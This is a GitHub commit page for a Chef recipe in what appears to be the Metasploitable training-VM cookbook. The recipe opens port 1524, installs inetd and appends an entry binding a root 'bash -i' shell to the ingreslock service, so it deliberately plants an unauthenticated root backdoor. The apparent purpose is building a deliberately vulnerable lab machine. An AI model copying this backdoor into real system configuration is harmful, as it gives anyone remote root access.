-
Notifications
You must be signed in to change notification settings - Fork 1.2k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
classic backdoor shell on 1524
- Loading branch information
Showing
4 changed files
with
31 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,27 @@ | ||
# | ||
# Cookbook:: metasploitable | ||
# Recipe:: ingreslock | ||
# | ||
# Copyright:: 2020, Rapid7, All Rights Reserved. | ||
|
||
include_recipe 'iptables::default' | ||
|
||
iptables_rule '01_ingreslock' do | ||
lines "-A INPUT -p tcp --dport 1524 -j ACCEPT" | ||
end | ||
|
||
package 'inetutils-inetd' do | ||
action :install | ||
end | ||
|
||
# needs to happen before starting the service -- | ||
# otherwise, if no services listed in inetd.conf, | ||
# inetd will refuse to start. | ||
execute 'add ingreslock to /etc/inetd.conf' do | ||
command "echo 'ingreslock stream tcp nowait root /bin/bash bash -i' >> /etc/inetd.conf" | ||
not_if "grep -q 'ingreslock stream tcp nowait root /bin/bash bash -i' /etc/inetd.conf" | ||
end | ||
|
||
service 'inetutils-inetd' do | ||
action [:enable, :start] | ||
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters